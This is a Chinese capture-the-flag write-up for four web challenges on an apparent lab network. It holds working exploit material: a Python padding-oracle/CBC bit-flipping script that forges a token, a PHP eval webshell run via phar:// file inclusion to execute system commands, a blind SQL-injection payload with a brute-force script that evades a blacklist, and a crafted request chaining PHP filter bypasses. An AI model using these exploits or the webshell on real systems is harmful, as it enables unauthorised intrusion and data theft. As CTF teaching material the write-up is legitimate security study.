web3(cbc翻转字节攻击)
这个题目说实话也是一道原题。。。并且我之前也根据这个思路给朋友出过类似的题目。
首先我们会在题目中通过访问robots.txt
中获取到备份文件的泄漏 /backup.zip
以及一个登陆页面/login.html
我们可以发现 在备份文件中METHOD 是aes-128-cbc
且$token
在cookie里,是可控参数,于是可以想到是cbc翻转字节攻击 可以使用padding oracle 进行攻击。
题目源码如下:
<?php error_reporting(0); session_start(); define("METHOD", "aes-128-cbc"); define("KEY", "******"); function privCode(){ $code = ''; $seeds = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; for($i = 0; $i < 15; $i++){ $code .= substr($seeds, rand(1, 61), 1); } return $code; } $privcode = privCode(); function get_iv(){ $iv = ''; $seeds = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; for($i = 0; $i < 16; $i++){ $iv .= substr($seeds, rand(1, 61), 1); } return $iv; } function loginpriv(){ global $privcode; $token = get_iv(); $c = openssl_encrypt($privcode, METHOD, KEY, OPENSSL_RAW_DATA, $token); $_SESSION['privcode'] = base64_encode($c); if($privcode === 'admin'){ // 此处是一个坑点。。其实在实际源码中是onepiece 是title的值。。 $_SESSION['admin'] = 1; }else{ $_SESSION['admin'] = 0; } setcookie("token", base64_encode($token)); } function iflogin(){ if (isset($_SESSION['privcode'])) { $id_decode = base64_decode($_SESSION['privcode']); $token_decode = base64_decode($_COOKIE["token"]); if($u = openssl_decrypt($id_decode, METHOD, KEY, OPENSSL_RAW_DATA, $token_decode)){ if ($u === 'admin') { $_SESSION['admin'] = 1; return 1; } }else{ die("Error!"); } } return 0; } if(isset($_POST['username'])&&isset($_POST['password'])){ $username = $_POST['username']; $password = $_POST['password']; if($username === "admin" && md5($password) === "21232f297a57a5a743894a0e4a801fc3"){ // 21232f297a57a5a743894a0e4a801fc3 是admin的md5 loginpriv(); header('location: ./admin.php'); }else{ die('Login failed.'); } }else{ if(iflogin()){ //header('location: ./admin.php'); echo "yes"; //此处为跳转到admin页面,因为需要进行本地模拟,故将此处换成输出yes }else{ //header('location: ./login.html'); echo "nononononononono"; //此处为跳转到login页面,因为需要进行本地模拟,故将此处换成输出 nononononononono } } ?>
所以我们可以直接用之前写过的exp进行修改。。
# -*- coding:utf-8 -*- import requests import base64 url = 'http://172.1.38.5/login.php' N=16 s=requests.session() def inject_token(token): header={"Cookie":"PHPSESSID="+phpsession+";token="+token} result=requests.post(url,headers=header) print header # print result.headers return result def xor(a, b): return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))]) def pad(string,N): l=len(string) if l!=N: return string+chr(N-l)*(N-l) def padding_oracle(N): get="" for i in xrange(1,N+1): for j in xrange(0,256): padding=xor(get,chr(i)*(i-1)) c=chr(0)*(16-i)+chr(j)+padding result=inject_token(base64.b64encode(c)) if "Error!" not in result.content: get=chr(j^i)+get break return get def login(url): payload = { "username":"admin", "password":"admin" } session = "951be2d1704ef4dcb5f6fa8adec97c67" session = "v8c2uu6j77504b1hos9c33v8r3" coo1 = { "PHPSESSID":session } r = requests.post(url,cookies=coo1,data=payload,allow_redirects=False) print r.headers token = r.headers['Set-Cookie'][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64') print token return session, token # print inject_token(token).content while 1: phpsession,token = login(url) middle1=padding_oracle(N) print middle1 print "\n" if(len(middle1)+1==16): for i in xrange(0,256): middle=chr(i)+middle1 print "token:"+token print "middle:"+middle plaintext=xor(middle,token); print "plaintext:"+plaintext des=pad('onepiece',N) tmp="" print des.encode("base64") for i in xrange(16): tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i])) print tmp.encode('base64') result=inject_token(base64.b64encode(tmp)) print result.content if "Login Form" not in result.content and "Error" not in result.content and "nononononononono" not in result.content: print result.content print "success" exit()
既可登录进去
web4
这个题目思路很简单,首先进行目录扫描既可扫到hint.php
可以在源代码中发现hint-> GET提交name
可以通过php伪协议进行源码读取php://filter/read=convert.base64-encode/resource=
//hint.php <?php echo'<!--YOU HAVE MY \'name\'-->'; error_reporting(0); // 设置报错不输出 $file=$_GET['name'].'.php'; // 将 $file 参数赋值为 $_GET['name'].'.php' if(!file_exists($file)){ // 判断 $file 文件 是否在服务器中存在 echo $file." not exists!"; // 如果 $file 文件 不存在则输出 该文件不存在 } include($file); // include $file ?> //index.php <?php header('hint:uploadupload.php '); // 理论上是放出第一个 hint 。。不过我没看。。 echo'Eazy web'; ?> //uploadupload.php <?php echo'<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Upload</title> </head> <style> #fo0kingshell{ margin: auto; width: 300px; height: 100px; } #msg{ margin: auto; width:900px; height: 100px; } </style> <body> <div id=\'fo0kingshell\'> <form id="upload-form" action="" method="post" enctype="multipart/form-data" > <input type="file" id="upload" name="file"/> <input type="submit" value="Upload" /> </form> </div> <!--hint1:TIME IS ALWAYS LIMITTED--> </body> </html>';//给第一个提示「自带备注」 if($_FILES) {// 判断是否 存在上传文件 $upfile = $_FILES["file"]["name"]; // 将上传的文件名赋值给$upfile $fileTypes = array( // 允许上传的文件白名单 'jpg', 'png', 'gif', 'zip', 'rar', 'txt'); function getFileExt($file_name) // 用来返回上传文件的后缀 { while ($dot = strpos($file_name, ".")) { $file_name = substr($file_name, $dot + 1); } return $file_name; } $test1 = strtolower(getFileExt($upfile)); // 将 $test1 赋值为转换小写后的文件后缀名「例如 上传文件名是123.Jpg 则 $test1 为 jpg」 if (!in_array($test1, $fileTypes)) { // 判断后缀名是否为白名单内容 echo $test1.'doesn\'t allow'; // 当后缀不在白名单时候返回 doesn\'t allow exit(); // 退出 } else { // 后缀名为白名单内 $nfile = md5(rand(1,10000)).'.'.$test1; // 将 $nfile 赋值为 随机数(1-10000)的md5值加上该上传文件的后缀名 move_uploaded_file($_FILES["file"]["tmp_name"], "./file/" . $nfile); // 将上传到文件转移到 ./file/ 目录下 且命名为 $nfile 的值 echo '<div id="msg">'.$nfile.'</div><div>uploaded to ./file</div> <!--hint3:hint-->'; // 返回到前端页面上传文件的文件名 $port=$_SERVER["SERVER_PORT"]; $host=$_SERVER["HTTP_HOST"]; $ch=curl_init(); curl_setopt($ch, CURLOPT_NOSIGNAL, true); curl_setopt ( $ch, CURLOPT_TIMEOUT_MS,100); //curl_setopt($ch, CURLOPT_TIMEOUT,1); curl_setopt($ch, CURLOPT_URL, "http://".$host."/a6ca1c4487e1e3feba82b5e390dbdd7a.php"); // 访问服务器上的a6ca1c4487e1e3feba82b5e390dbdd7a.php文件 「主要是删除非jpg结尾的文件」 $output = curl_exec($ch); curl_close($ch); } } ?> //a6ca1c4487e1e3feba82b5e390dbdd7a.php <?php sleep(2); echo'1'; function getFileExt($file_name) // 返回文件的后缀名 { while ($dot = strpos($file_name, ".")) { $file_name = substr($file_name, $dot + 1); } return $file_name; } $handler = opendir('file'); // 扫描 file 目录下的文件 $fileTypes2 = array('jpg'); // 设置白名单只有jpg文件 while( ($filename = readdir($handler)) !== false ) //遍历file下的所有文件 { if($filename != "." && $filename != "..") // 当不是. 和 .. 时候继续进行 { $test2 = strtolower(getFileExt($filename)); //将 $test2 赋值为转换小写后的文件后缀名 if (!in_array($test2, $fileTypes2)) { // 判断当前后缀是否不在白名单中 echo $filename; unlink('./file/' . $filename); // 不在白名单直接删除。 }//5秒后会删除 } } ?>
当读完源码后我们可以轻易的发现直接使用phar协议即可进行命令执行
具体操作如下:
首先我们可以先写个php结尾的一句话命令
//sgdream.php <?php eval($_GET['sgdream']); ?>
然后打包zip操作并且把后缀改成jpg结尾
上传到服务器上,根据返回到的文件名进行命令执行读取flag
http://172.1.38.3/hint.php?name=phar://file/0d8f8313c83e69d101e8997d3065fbff.jpg/sgdream&sgdream=system(%27cat%20/flag.txt%27);
web1
这个题目过滤了很多内容但是通过fuzz发现没有过滤 (^,select,FROM,ASCII,MID,=)这些单词符号,所以我们可以通过构造
```mysql
1^(SELECT(ASCII(MID((SELECT((flag))FROM(ctf)),0,1))=1))^1=1
题目源码如下:
<html> <head> <title>Hack World</title> </head> <body> <h3>All You Want Is In Table 'ctf' and the column is 'flag'</h3> <h3>Now, just give the id of passage</h3> <form action="index.php" method="POST"> <input type="text" name="id"> <input type="submit"> </form> </body> </html> <?php $dbuser='ctf'; //$dbuser='root'; $dbpass='anvue91kd'; //$dbpass='root'; function safe($sql){ $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); foreach($blackList as $blackitem){ if(stripos($sql,$blackitem)){ return False; } } return True; } if(isset($_POST['id'])){ $id = $_POST['id']; }else{ die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db); if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }
「因为题目已经给了表名及表字段名」进行逐位爆破。
#coding=utf-8 import requests dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_," url = "http://172.1.38.1/index.php" keyword = "Error Occured When Fetch Result" string = "" for i in range(1, 30): for j in dic: payload = "1^(SELECT(ASCII(MID((SELECT((flag))FROM(ctf)),{0},1))={1}))^1=1".format(str(i),ord(j)) data = { 'id':payload } url_get = url # print(url_get) content = requests.post(url_get,data=data) # print(content.text) if keyword not in content.text: string += j print(string) break print("result = " + string) #flag58f45cfe44
WEB 2
这个题目通过前端hint 得知 通过携带GET参数src可以读到源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40<html>
<body>
<!-- ?src -->
</body>
echo "Null ... Null ... Null ... ";
if(isset($_GET['src'])) { // 判断src存在则输出源码
die(highlight_file('index.php', true));
}
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) { // 可以通过post一个相同的key值为数字即可绕过
if(preg_match('/[a-zA-Z]/i', $value)) die('Hello Hack.');
}
}
if($_SERVER){
if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING'])) die('Hello Hack..');//可以通过url编码进行绕过,因为 $_SERVER['QUERY_STRING'] 不会对传参进行url解码,但是 $_GET 会
}
if(isset($_GET['cyber'])){ // 直接通过传入数组可以绕过。
if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){
die('Hello Hack...');
}else{
if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){ // 因为preg_match正则没有/d的话 可以直接通过增加一个%0a进行绕过
$getflag = file_get_contents($_GET['flag']); // 可以通过data协议进行赋值 data://text/plain,security
}else
die('Hello Hack....');
if(isset($getflag) && $getflag === 'security'){
include 'flag.php';
echo $flag;
}else die('Hello Hack.....');
}
}
首先绕过
1
2
3
4
5if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('Hello Hack.');
}
}
可以通过post一个相同的key值为数字即可。
绕过
1
2
3if($_SERVER){
if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING'])) die('Hello Hack..');
}
可以通过url编码进行绕过,因为$_SERVER['QUERY_STRING']
不会对传参进行url解码,但是$_GET
会
绕过
1
2
3if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){
die('Hello Hack...');
}
直接通过传入数组可以绕过。
然后绕过
1
2
3
4
5
6
7
8if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){
$getflag = file_get_contents($_GET['flag']);
}else
die('Hello Hack....');
if(isset($getflag) && $getflag === 'security'){
include 'flag.php';
echo $flag;
}else die('Hello Hack.....');
因为preg_match正则没有/d的话 可以直接通过增加一个%0a进行绕过
$getflag 可以通过data协议进行赋值 data://text/plain,security
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15POST /?%63%79%62%65%72%5b%5d%3d%66%31%66%37%31%33%63%39%65%30%30%30%66%35%64%33%66%32%38%30%61%64%62%64%31%32%34%64%66%34%66%35%26%66%6c%61%67%3d%69%6e%64%65%78%2e%70%68%70%26%63%69%73%63%6e%3d%63%69%73%63%6e%73%65%63%25%30%61%0a&%63%69%73%63%6e=%63%69%73%63%6e%73%65%63%0a&%66%6c%61%67=data://text/plain,security HTTP/1.1
Host: 172.1.38.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
DNT: 1
Connection: close
Referer: http://172.1.38.2/cyber
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
ciscn=1&flag=1
return :
1
Null ... Null ... Null ... flag{bdc4680156}